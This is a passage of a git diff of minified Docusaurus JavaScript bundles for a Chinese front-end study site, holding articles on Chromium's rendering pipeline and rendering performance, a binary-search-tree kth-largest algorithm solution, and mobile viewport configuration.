\u662f\u5305\u542b\u4e00\u4e2a\u5728\u5c4f\u5e55\u7279\u5b9a\u4f4d\u7f6e\u7ed8\u5236 tile \u7684\u547d\u4ee4\uff0c\u8be5\u547d\u4ee4\u540c\u65f6\u8003\u8651\u4e86\u6240\u6709\u5e94\u7528\u5230 layer tree \u7684\u53d8\u6362\u3002\u6bcf\u4e2a\u56db\u8fb9\u5f62\u5f15\u7528\u4e86\u5185\u5b58\u4e2d tile \u7684\u5149\u6805\u5316\u8f93\u51fa\u3002\u56db\u8fb9\u5f62\u88ab\u5305\u88f9\u5728\u5408\u6210\u5e27\u5bf9\u8c61\uff08compositor frame object\uff09\u4e2d\uff0c\u7136\u540e\u63d0\u4ea4\uff08submit\uff09\u5230\u6d4f\u89c8\u5668\u8fdb\u7a0b\u3002"),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"display compositor\uff08viz\uff0cvisual \u7684\u7b80\u79f0\uff09")),(0,l.kt)("p",null,"viz \u4f4d\u4e8e GPU \u8fdb\u7a0b\u4e2d\uff0cviz \u63a5\u6536\u6765\u81ea\u6d4f\u89c8\u5668\u7684\u5408\u6210\u5e27\uff0c\u5408\u6210\u5e27\u6765\u81ea\u591a\u4e2a\u6e32\u67d3\u8fdb\u7a0b\uff0c\u4ee5\u53ca\u6d4f\u89c8\u5668\u81ea\u8eab UI \u7684 compositor\u3002"),(0,l.kt)("p",null,"\u5408\u6210\u5e27\u548c\u5c4f\u5e55\u4e0a\u5c06\u8981\u7ed8\u5236\u7684\u4f4d\u7f6e\u5173\u8054\uff0c\u8be5\u4f4d\u7f6e\u53eb\u505a surface\u3002surface \u53ef\u4ee5\u5d4c\u5957\u5176\u4ed6 surface\uff0c\u6d4f\u89c8\u5668 UI \u7684 surface \u5d4c\u5957\u4e86\u6e32\u67d3\u8fdb\u7a0b\u7684 surface\uff0c\u6e32\u67d3\u8fdb\u7a0b\u7684 surface \u5d4c\u5957\u4e86\u5176\u4ed6\u8de8\u57df iframes\uff08\u540c\u6e90\u7684 iframe \u5171\u4eab\u76f8\u540c\u7684\u6e32\u67d3\u8fdb\u7a0b\uff09 \u7684 surface\u3002viz \u540c\u6b65\u4f20\u5165\u7684\u5e27\uff0c\u5e76\u5904\u7406\u5d4c\u5957 surfaces \u7684\u4f9d\u8d56\uff08surface aggregation\uff09\u3002"),(0,l.kt)("p",null,"\u6700\u7ec8\u7684\u663e\u793a\u6d41\u7a0b\uff1a"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"viz \u4f1a\u53d1\u51fa OpenGL \u8c03\u7528\u5c06\u5408\u6210\u5e27\u4e2d\u7684 quads \u53d1\u9001\u5230 GPU \u7ebf\u7a0b\u7684 backbuffer \u4e2d\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u5728\u65b0\u7684\u6a21\u5f0f\u4e2d\uff0cviz \u4f1a\u4f7f\u7528 Skia \u4ee3\u66ff\u539f\u59cb OpenGL \u8c03\u7528\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u5728\u5927\u90e8\u5206\u5e73\u53f0\u4e0a\uff0cviz \u7684\u8f93\u51fa\u4e5f\u662f\u53cc\u7f13\u51b2\u7ed3\u6784\uff0cdraw \u9996\u5148\u5230\u8fbe backbuffer\uff0c\u901a\u8fc7 swapping \u64cd\u4f5c\u8f6c\u6362\u6210 frontbuffer \u6700\u7ec8\u663e\u793a\u5728\u5c4f\u5e55\u4e0a\u3002")),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"\u7ebf\u7a0b\u5bf9\u6d4f\u89c8\u5668\u4e8b\u4ef6\u7684\u5904\u7406")),(0,l.kt)("p",null,"\u5408\u6210\u7684\u4f18\u70b9\u662f\u5b83\u5728\u4e0d\u6d89\u53ca\u6e32\u67d3\u4e3b\u7ebf\u7a0b\u7684\u60c5\u51b5\u4e0b\u5b8c\u6210\u7684\u3002\u5408\u6210\u5668\u4e0d\u9700\u8981\u7b49\u5f85\u6837\u5f0f\u8ba1\u7b97\u6216 JavaScript \u6267\u884c\u3002\u53ea\u548c\u5408\u6210\u76f8\u5173\u7684\u52a8\u753b\u88ab\u8ba4\u4e3a\u662f\u83b7\u5f97\u6d41\u7545\u6027\u80fd\u7684\u6700\u4f73\u9009\u62e9\u3002\u540c\u65f6\uff0c\u5408\u6210\u5668\u8fd8\u8d1f\u8d23\u5904\u7406\u9875\u9762\u7684\u6eda\u52a8\uff0c\u6eda\u52a8\u7684\u65f6\u5019\uff0c\u5408\u6210\u5668\u4f1a\u66f4\u65b0\u9875\u9762\u7684\u4f4d\u7f6e\uff0c\u5e76\u4e14\u66f4\u65b0\u9875\u9762\u7684\u5185\u5bb9\u3002"),(0,l.kt)("p",null,"\u5f53\u4e00\u4e2a\u6ca1\u6709\u7ed1\u5b9a\u4efb\u4f55\u4e8b\u4ef6\u7684\u9875\u9762\u53d1\u751f\u6eda\u52a8\u65f6\uff0c\u5408\u6210\u5668\u53ef\u4ee5\u72ec\u7acb\u4e8e\u6e32\u67d3\u4e3b\u7ebf\u7a0b\u4e4b\u5916\u8fdb\u884c\u5408\u6210\u5e27\u7684\u7684\u521b\u5efa\uff0c\u4fdd\u8bc1\u9875\u9762\u7684\u6d41\u7a0b\u6eda\u52a8\u3002\u5f53\u9875\u9762\u4e2d\u7684\u67d0\u4e00\u533a\u57df\u7ed1\u5b9a\u4e86 JS \u4e8b\u4ef6\u5904\u7406\u7a0b\u5e8f\u65f6\uff0cCC \u7ebf\u7a0b\u4f1a\u5c06\u8fd9\u4e00\u533a\u57df\u6807\u8bb0\u4e3a Non-Fast Scrollable Region\u3002\u5982\u679c\u4e8b\u4ef6\u6765\u81ea\u4e8e\u8be5\u533a\u57df\u4e4b\u5916\uff0c\u5219 CC \u7ebf\u7a0b\u7ee7\u7eed\u5408\u6210\u65b0\u7684\u5e27\uff0c\u800c\u65e0\u9700\u7b49\u5f85\u4e3b\u7ebf\u7a0b\u3002"),(0,l.kt)("p",null,"\u5728\u5f00\u53d1\u4e2d\uff0c\u6211\u4eec\u901a\u5e38\u4f1a\u4f7f\u7528\u4e8b\u4ef6\u59d4\u6258\u6765\u7b80\u5316\u903b\u8f91\uff0c\u4f46\u662f\u8fd9\u4f1a\u4f7f\u6574\u4e2a\u7ed1\u5b9a\u4e8b\u4ef6\u7684\u533a\u57df\u53d8\u6210 Non-Fast Scrollable Region\u3002\u4e3a\u4e86\u51cf\u8f7b\u8fd9\u79cd\u60c5\u51b5\u5bf9\u6eda\u52a8\u9020\u6210\u7684\u5f71\u54cd\uff0c\u4f60\u53ef\u4ee5\u4f20\u5165 ",(0,l.kt)("inlineCode",{parentName:"p"},"passive: true")," \u9009\u9879\u5230\u4e8b\u4ef6\u76d1\u542c\u5668\u4e2d\u3002"),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-js"},'document.body.addEventListener(\n "touchstart",\n (event) => {\n if (event.target === area) {\n event.preventDefault();\n }\n },\n { passive: true }\n);\n')),(0,l.kt)("h3",{id:"2-\u6d4f\u89c8\u5668\u6e32\u67d3\u6027\u80fd\u7684\u4f18\u5316"},"2. \u6d4f\u89c8\u5668\u6e32\u67d3\u6027\u80fd\u7684\u4f18\u5316"),(0,l.kt)("p",null,"\u4e0a\u4e00\u8282\u4e2d\u662f\u4e00\u8f6e\u5178\u578b\u7684\u6d4f\u89c8\u5668\u6e32\u67d3\u6d41\u7a0b\uff0c\u5728\u6d41\u7a0b\u5b8c\u6210\u4e4b\u540e\uff0cDOM\u3001CSSOM\u3001LayoutObject\u3001PaintLayer \u7b49\u5404\u79cd\u6811\u72b6\u6570\u636e\u7ed3\u6784\u90fd\u4f1a\u4fdd\u7559\u4e0b\u6765\uff0c\u4ee5\u4fbf\u5728\u7528\u6237\u64cd\u4f5c\u3001\u7f51\u7edc\u8bf7\u6c42\u3001JS \u6267\u884c\u7b49\u4e8b\u4ef6\u53d1\u751f\u65f6\uff0c\u91cd\u65b0\u89e6\u53d1\u6e32\u67d3\u6d41\u7a0b\u3002"),(0,l.kt)("h4",{id:"21-\u51cf\u5c11\u6e32\u67d3\u4e2d\u7684\u91cd\u6392\u91cd\u7ed8"},"2.1 \u51cf\u5c11\u6e32\u67d3\u4e2d\u7684\u91cd\u6392\u91cd\u7ed8"),(0,l.kt)("p",null,"\u6d4f\u89c8\u5668\u91cd\u65b0\u6e32\u67d3\u65f6\uff0c\u53ef\u80fd\u4f1a\u4ece\u4e2d\u95f4\u7684\u4efb\u4e00\u6b65\u9aa4\u5f00\u59cb\uff0c\u76f4\u81f3\u6e32\u67d3\u5b8c\u6210\u3002\u56e0\u6b64\uff0c\u5c3d\u53ef\u80fd\u7684\u7f29\u77ed\u6e32\u67d3\u8def\u5f84\uff0c\u5c31\u53ef\u4ee5\u83b7\u5f97\u66f4\u597d\u7684\u6e32\u67d3\u6027\u80fd\u3002\n\u5f53\u6d4f\u89c8\u5668\u91cd\u65b0\u7ed8\u5236\u4e00\u5e27\u7684\u65f6\u5019\uff0c\u4e00\u822c\u9700\u8981\u7ecf\u8fc7\u5e03\u5c40\u3001\u7ed8\u56fe\u548c\u5408\u6210\u4e09\u4e2a\u4e3b\u8981\u9636\u6bb5\u3002\u8fd9\u4e09\u4e2a\u9636\u6bb5\u4e2d\uff0c\u8ba1\u7b97\u5e03\u5c40\u548c\u7ed8\u56fe\u6bd4\u8f83\u8d39\u65f6\u95f4\uff0c\u800c\u5408\u6210\u9700\u8981\u7684\u65f6\u95f4\u76f8\u5bf9\u5c11\u4e00\u4e9b\u3002"),(0,l.kt)("p",null,"\u4ee5\u52a8\u753b\u4e3a\u4f8b\uff0c\u5982\u679c\u4f7f\u7528 JS \u7684\u5b9a\u65f6\u5668\u6765\u63a7\u5236\u52a8\u753b\uff0c\u53ef\u80fd\u5c31\u9700\u8981\u8f83\u591a\u7684\u4fee\u6539\u5e03\u5c40\u548c\u7ed8\u56fe\u7684\u64cd\u4f5c\uff0c\u4e00\u822c\u6709\u4ee5\u4e0b\u4e24\u79cd\u65b9\u6cd5\u8fdb\u884c\u4f18\u5316\uff1a"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"\u4f7f\u7528\u5408\u9002\u7684\u7f51\u9875\u5206\u5c42\u6280\u672f\uff1a\u5982\u4f7f\u7528\u591a\u5c42 canvas\uff0c\u5c06\u52a8\u753b\u80cc\u666f\uff0c\u8fd0\u52a8\u4e3b\u4f53\uff0c\u6b21\u8981\u7269\u4f53\u5206\u5c42\uff0c\u8fd9\u6837\u6bcf\u4e00\u5e27\u9700\u8981\u53d8\u5316\u7684\u5c31\u53ea\u662f\u4e00\u4e2a\u6216\u90e8\u5206\u5408\u6210\u5c42\uff0c\u800c\u4e0d\u662f\u6574\u4e2a\u9875\u9762\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u4f7f\u7528 CSS Transforms \u548c Animations\uff1a\u5b83\u53ef\u4ee5\u8ba9\u6d4f\u89c8\u5668\u4ec5\u4ec5\u4f7f\u7528\u5408\u6210\u5668\u6765\u5408\u6210\u6240\u6709\u7684\u5c42\u5c31\u53ef\u4ee5\u8fbe\u5230\u52a8\u753b\u6548\u679c\uff0c\u800c\u4e0d\u9700\u8981\u91cd\u65b0\u8ba1\u7b97\u5e03\u5c40\uff0c\u91cd\u65b0\u7ed8\u5236\u56fe\u5f62\u3002",(0,l.kt)("a",{parentName:"li",href:"https://csstriggers.com/"},"CSS Triggers")," \u4e2d\u4ec5\u89e6\u53d1 Composite \u7684\u5c5e\u6027\u5c31\u662f\u6700\u4f18\u7684\u9009\u62e9\u3002")),(0,l.kt)("h4",{id:"22-\u4f18\u5316\u5f71\u54cd\u6e32\u67d3\u7684\u8d44\u6e90"},"2.2 \u4f18\u5316\u5f71\u54cd\u6e32\u67d3\u7684\u8d44\u6e90"),(0,l.kt)("p",null,"\u5728\u6d4f\u89c8\u5668\u89e3\u6790 HTML \u7684\u8fc7\u7a0b\u4e2d\uff0cCSS \u548c JS \u90fd\u6709\u53ef\u80fd\u5bf9\u9875\u9762\u7684\u6e32\u67d3\u9020\u6210\u5f71\u54cd\u3002\u4f18\u5316\u65b9\u6cd5\u5305\u62ec\u4ee5\u4e0b\u51e0\u70b9\uff1a"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"\u5173\u952e CSS \u8d44\u6e90\u653e\u5728\u5934\u90e8\u52a0\u8f7d\u3002"),(0,l.kt)("li",{parentName:"ol"},"JS \u901a\u5e38\u653e\u5728\u9875\u9762\u5e95\u90e8\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u4e3a JS \u6dfb\u52a0 async \u548c defer \u5c5e\u6027\u3002"),(0,l.kt)("li",{parentName:"ol"},"body \u4e2d\u5c3d\u91cf\u4e0d\u8981\u51fa\u73b0 CSS \u548c JS\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u4e3a img \u6307\u5b9a\u5bbd\u9ad8\uff0c\u907f\u514d\u56fe\u50cf\u52a0\u8f7d\u5b8c\u6210\u540e\u89e6\u53d1\u91cd\u6392\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u907f\u514d\u4f7f\u7528 table, iframe \u7b49\u6162\u5143\u7d20\u3002\u539f\u56e0\u662f table \u4f1a\u7b49\u5230\u5b83\u7684 dom \u6811\u5168\u90e8\u751f\u6210\u540e\u518d\u4e00\u6b21\u6027\u63d2\u5165\u9875\u9762\u4e2d\uff1biframe \u5185\u8d44\u6e90\u7684\u4e0b\u8f7d\u8fc7\u7a0b\u4f1a\u963b\u585e\u7236\u9875\u9762\u9759\u6001\u8d44\u6e90\u7684\u4e0b\u8f7d\u53ca css, dom \u6811\u7684\u89e3\u6790\u3002")),(0,l.kt)("p",null,(0,l.kt)("img",{parentName:"p",src:"https://html.spec.whatwg.org/images/asyncdefer.svg",alt:"script element"})),(0,l.kt)("blockquote",null,(0,l.kt)("p",{parentName:"blockquote"},"\u56fe\u7247\u6765\u6e90 ",(0,l.kt)("a",{parentName:"p",href:"https://html.spec.whatwg.org/multipage/scripting.html#the-script-element"},"The Script Element"))),(0,l.kt)("h2",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://www.html5rocks.com/zh/tutorials/internals/howbrowserswork/"},"\u6d4f\u89c8\u5668\u7684\u5de5\u4f5c\u539f\u7406\uff1a\u65b0\u5f0f\u7f51\u7edc\u6d4f\u89c8\u5668\u5e55\u540e\u63ed\u79d8")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://developer.mozilla.org/zh-CN/docs/Web/Performance/How_browsers_work"},"\u6e32\u67d3\u9875\u9762\uff1a\u6d4f\u89c8\u5668\u7684\u5de5\u4f5c\u539f\u7406")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://developers.google.com/web/fundamentals/performance/critical-rendering-path/constructing-the-object-model"},"Constructing the Object Model")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/"},"Inside a super fast CSS engine")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://developers.google.com/web/fundamentals/performance/critical-rendering-path/render-tree-construction"},"Render-tree Construction, Layout, and Paint")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://developers.google.com/web/updates/2018/09/inside-browser-part3"},"Inside look at modern web browser\uff08part 3\uff09")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://developers.google.com/web/updates/2018/09/inside-browser-part4"},"Inside look at modern web browser\uff08part 4\uff09")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://chromium.googlesource.com/chromium/src/+/refs/heads/main/third_party/blink/renderer/core/dom/README.md"},"DOM")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/core/css/style-calculation.md"},"CSS")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://chromium.googlesource.com/chromium/src/+/refs/heads/main/third_party/blink/renderer/core/layout/README.md"},"Layout")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://chromium.googlesource.com/chromium/src/+/refs/heads/main/third_party/blink/renderer/core/paint/README.md#Overview"},"Paint")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/how_cc_works.md"},"how cc works")),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("a",{parentName:"li",href:"https://docs.google.com/presentation/d/1boPxbgNrTU0ddsc144rcXayGA_WF53k96imRH8Mp34Y/edit#slide=id.ga884fe665f_64_6"},"Life of a Pixel"))))}u.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/312ed758.35fb5dae.js b/assets/js/312ed758.35fb5dae.js new file mode 100644 index 0000000..9742ad2 --- /dev/null +++ b/assets/js/312ed758.35fb5dae.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[6099],{3905:function(e,n,t){t.d(n,{Zo:function(){return p},kt:function(){return f}});var r=t(7294);function o(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function i(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);n&&(r=r.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,r)}return t}function a(e){for(var n=1;n=0||(o[t]=e[t]);return o}(e,n);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(o[t]=e[t])}return o}var u=r.createContext({}),c=function(e){var n=r.useContext(u),t=n;return e&&(t="function"==typeof e?e(n):a(a({},n),e)),t},p=function(e){var n=c(e.components);return r.createElement(u.Provider,{value:n},e.children)},s={inlineCode:"code",wrapper:function(e){var n=e.children;return r.createElement(r.Fragment,{},n)}},k=r.forwardRef((function(e,n){var t=e.components,o=e.mdxType,i=e.originalType,u=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),k=c(t),f=o,d=k["".concat(u,".").concat(f)]||k[f]||s[f]||i;return t?r.createElement(d,a(a({ref:n},p),{},{components:t})):r.createElement(d,a({ref:n},p))}));function f(e,n){var t=arguments,o=n&&n.mdxType;if("string"==typeof e||o){var i=t.length,a=new Array(i);a[0]=k;var l={};for(var u in n)hasOwnProperty.call(n,u)&&(l[u]=n[u]);l.originalType=e,l.mdxType="string"==typeof e?e:o,a[1]=l;for(var c=2;c {\n let res = null; // \u521d\u59cb\u5316\u8fd4\u56de\u503c\n // \u56e0\u4e3a\u9700\u8981\u5012\u5e8f\u7b2c k \u4e2a\uff0c\u6240\u4ee5\u5904\u7406\u662f\u53f3\u8282\u70b9\uff0c\u6839\u8282\u70b9\uff0c\u7136\u540e\u5de6\u8282\u70b9\n const dfs = (root) => {\n if (!root) return; // \u5982\u679c\u5f53\u524d\u8282\u70b9\u4e3a null\uff0c\u672c\u8f6e\u5904\u7406\u7ed3\u675f\n dfs(root.right); // \u5f00\u59cb\u5904\u7406\u53f3\u8282\u70b9\n if (k === 0) return; // k \u503c \u4e3a 0\uff0c\u4ee3\u8868\u5df2\u7ecf\u5904\u7406\u7684\u8282\u70b9\u8d85\u8fc7\u76ee\u6807\u8282\u70b9\uff0c\u672c\u8f6e\u5904\u7406\u7ed3\u675f\n if (--k === 0) {\n // \u5f53 k \u503c \u51cf 1 \u4e3a 0\uff0c\u8868\u793a\u5df2\u7ecf\u5230\u4e86\u6211\u4eec\u60f3\u8981\u7684 k \u5927 \u8282\u70b9\uff0c\u4fdd\u5b58\u5f53\u524d\u503c\n res = root.val;\n }\n dfs(root.left); // \u5904\u7406\u5de6\u8282\u70b9\n };\n dfs(root); // \u4ece\u521d\u59cb\u5316\u8282\u70b9\u5f00\u59cb\u5904\u7406\n return res;\n};\n")),(0,i.kt)("h3",{id:"\u590d\u6742\u5ea6\u5206\u6790"},"\u590d\u6742\u5ea6\u5206\u6790\uff1a"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"\u65f6\u95f4\u590d\u6742\u5ea6 O(N)\uff1a\u65e0\u8bba k \u7684\u503c\u5927\u5c0f\uff0c\u9012\u5f52\u6df1\u5ea6\u90fd\u4e3a N\uff0c\u5360\u7528 O(N) \u65f6\u95f4\u3002"),(0,i.kt)("li",{parentName:"ul"},"\u7a7a\u95f4\u590d\u6742\u5ea6 O(N)\uff1a\u65e0\u8bba k \u7684\u503c\u5927\u5c0f\uff0c\u9012\u5f52\u6df1\u5ea6\u90fd\u4e3a N\uff0c\u5360\u7528 O(N) \u7a7a\u95f4\u3002")),(0,i.kt)("h3",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,i.kt)("ol",null,(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"https://book.douban.com/subject/6966465/"},"\u5251\u6307 offer"))))}k.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/31bf44dd.f3ebea4f.js b/assets/js/31bf44dd.f3ebea4f.js new file mode 100644 index 0000000..4ce5512 --- /dev/null +++ b/assets/js/31bf44dd.f3ebea4f.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[7802],{3905:function(e,t,n){n.d(t,{Zo:function(){return u},kt:function(){return d}});var r=n(7294);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function l(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var o=r.createContext({}),s=function(e){var t=r.useContext(o),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},u=function(e){var t=s(e.components);return r.createElement(o.Provider,{value:t},e.children)},m={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},c=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,i=e.originalType,o=e.parentName,u=p(e,["components","mdxType","originalType","parentName"]),c=s(n),d=a,k=c["".concat(o,".").concat(d)]||c[d]||m[d]||i;return n?r.createElement(k,l(l({ref:t},u),{},{components:n})):r.createElement(k,l({ref:t},u))}));function d(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=n.length,l=new Array(i);l[0]=c;var p={};for(var o in t)hasOwnProperty.call(t,o)&&(p[o]=t[o]);p.originalType=e,p.mdxType="string"==typeof e?e:a,l[1]=p;for(var s=2;s")," \u5143\u7d20\u7684\u5bbd\u5ea6\u88ab\u8bbe\u7f6e\u4e3a 100% \u65f6\uff0c\u7b49\u540c\u4e8e\u89c6\u53e3\u5927\u5c0f\uff0c\u7b49\u540c\u4e8e\u6d4f\u89c8\u5668\u7684\u7a97\u53e3\u5927\u5c0f\u3002\u901a\u8fc7 ",(0,i.kt)("inlineCode",{parentName:"p"},"document.documentElement.clientWidth")," \u6216 ",(0,i.kt)("inlineCode",{parentName:"p"},"window.innerWidth")," \u53ef\u4ee5\u83b7\u53d6\u89c6\u53e3\u5bbd\u5ea6\u3002CSS \u5e03\u5c40\u57fa\u4e8e\u89c6\u53e3\u5927\u5c0f\u8fdb\u884c\u8ba1\u7b97\u3002"),(0,i.kt)("p",null,"\u7531\u4e8e\u79fb\u52a8\u8bbe\u5907\u5c3a\u5bf8\u8f83\u5c0f\uff0c\u5982\u679c\u57fa\u4e8e\u6d4f\u89c8\u5668\u7a97\u53e3\u5927\u5c0f\u7684\u89c6\u53e3\u8fdb\u884c\u5e03\u5c40\uff0c\u4f1a\u5bfc\u81f4\u4e00\u4e9b\u6ca1\u6709\u9002\u914d\u8fc7\u79fb\u52a8\u8bbe\u5907\u6837\u5f0f\u7684\u7ad9\u70b9\u5e03\u5c40\u9519\u4e71\uff0c\u7528\u6237\u4f53\u9a8c\u5dee\u3002\u4e3a\u4e86\u8ba9\u79fb\u52a8\u7aef\u4e5f\u80fd\u6b63\u5e38\u663e\u793a\u672a\u9002\u914d\u79fb\u52a8\u8bbe\u5907\u7684\u9875\u9762\uff0c\u4ece\u800c\u5f15\u5165\u5e03\u5c40\u89c6\u53e3\u548c\u89c6\u89c9\u89c6\u53e3\u7684\u6982\u5ff5\u3002"),(0,i.kt)("p",null,(0,i.kt)("strong",{parentName:"p"},"\u5e03\u5c40\u89c6\u53e3\uff08layout viewport\uff09")),(0,i.kt)("p",null,"\u5e03\u5c40\u89c6\u53e3\u7684\u5bbd\u5ea6\u9ed8\u8ba4\u4e3a 980px\uff0c\u901a\u5e38\u6bd4\u7269\u7406\u5c4f\u5e55\u5bbd\u3002CSS \u5e03\u5c40\u4f1a\u57fa\u4e8e\u5e03\u5c40\u89c6\u53e3\u8fdb\u884c\u8ba1\u7b97\u3002\u79fb\u52a8\u8bbe\u5907\u7684\u6d4f\u89c8\u5668\u57fa\u4e8e\u865a\u62df\u7684\u5e03\u5c40\u89c6\u53e3\u53bb\u6e32\u67d3\u7f51\u9875\uff0c\u5e76\u5c06\u5bf9\u5e94\u7684\u6e32\u67d3\u7ed3\u679c\u7f29\u5c0f\u4ee5\u4fbf\u9002\u5e94\u8bbe\u5907\u5b9e\u9645\u5bbd\u5ea6\uff0c\u4ece\u800c\u53ef\u4ee5\u5b8c\u6574\u7684\u5c55\u793a\u7ad9\u70b9\u5185\u5bb9\u4e14\u4e0d\u7834\u574f\u5e03\u5c40\u7ed3\u6784\u3002"),(0,i.kt)("p",null,(0,i.kt)("strong",{parentName:"p"},"\u89c6\u89c9\u89c6\u53e3\uff08visual viewport\uff09")),(0,i.kt)("p",null,"\u89c6\u89c9\u89c6\u53e3\u662f\u5e03\u5c40\u89c6\u53e3\u7684\u5f53\u524d\u53ef\u89c1\u90e8\u5206\u3002\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u7f29\u653e\u6765\u67e5\u770b\u9875\u9762\u5185\u5bb9\uff0c\u4ece\u800c\u6539\u53d8\u89c6\u89c9\u89c6\u53e3\uff0c\u4f46\u4e0d\u5f71\u54cd\u5e03\u5c40\u89c6\u53e3\u3002"),(0,i.kt)("h3",{id:"2-\u4f7f\u7528-viewport-\u5143\u6807\u7b7e\u914d\u7f6e\u89c6\u53e3"},"2. \u4f7f\u7528 viewport \u5143\u6807\u7b7e\u914d\u7f6e\u89c6\u53e3"),(0,i.kt)("p",null,"\u5f00\u53d1\u8005\u53ef\u4ee5\u901a\u8fc7 ",(0,i.kt)("inlineCode",{parentName:"p"},'')," \u5bf9\u79fb\u52a8\u7aef\u7684\u5e03\u5c40\u89c6\u53e3\u8fdb\u884c\u8bbe\u7f6e\u3002\u5982\u679c\u4e0d\u8fdb\u884c viewport \u5143\u6807\u7b7e\u7684\u8bbe\u7f6e\uff0c\u53ef\u80fd\u4f1a\u5bfc\u81f4\u5f00\u53d1\u8005\u8bbe\u5b9a\u7684\u8f83\u5c0f\u5bbd\u5ea6\u7684\u5a92\u4f53\u67e5\u8be2\u6c38\u8fdc\u4e0d\u4f1a\u88ab\u4f7f\u7528\uff0c\u56e0\u4e3a\u9ed8\u8ba4\u7684\u5e03\u5c40\u89c6\u53e3\u5bbd\u5ea6\u4e3a 980px\u3002"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-html"},'\x3c!-- width \u5c5e\u6027\u63a7\u5236\u89c6\u53e3\u7684\u5927\u5c0f\u3002device-width \u503c\u6307\u4ee3\u8bbe\u5907\u5c4f\u5e55\u5bbd\u5ea6\u3002 --\x3e\n\x3c!-- initial-scale \u5c5e\u6027\u63a7\u5236\u9875\u9762\u9996\u6b21\u52a0\u8f7d\u65f6\u7684\u7f29\u653e\u7ea7\u522b\u3002--\x3e\n\n')),(0,i.kt)("h3",{id:"3-\u4f7f\u7528\u73b0\u4ee3\u54cd\u5e94\u5f0f\u5e03\u5c40\u65b9\u6848"},"3. \u4f7f\u7528\u73b0\u4ee3\u54cd\u5e94\u5f0f\u5e03\u5c40\u65b9\u6848"),(0,i.kt)("p",null,"\u9664\u4e86\u4f7f\u7528\u6d6e\u52a8\u5e03\u5c40\u548c\u767e\u5206\u6bd4\u5e03\u5c40\u5916\uff0c\u76ee\u524d\u6bd4\u8f83\u5e38\u89c1\u7684\u662f\u4f7f\u7528 Flexbox \u6216 CSS Grid 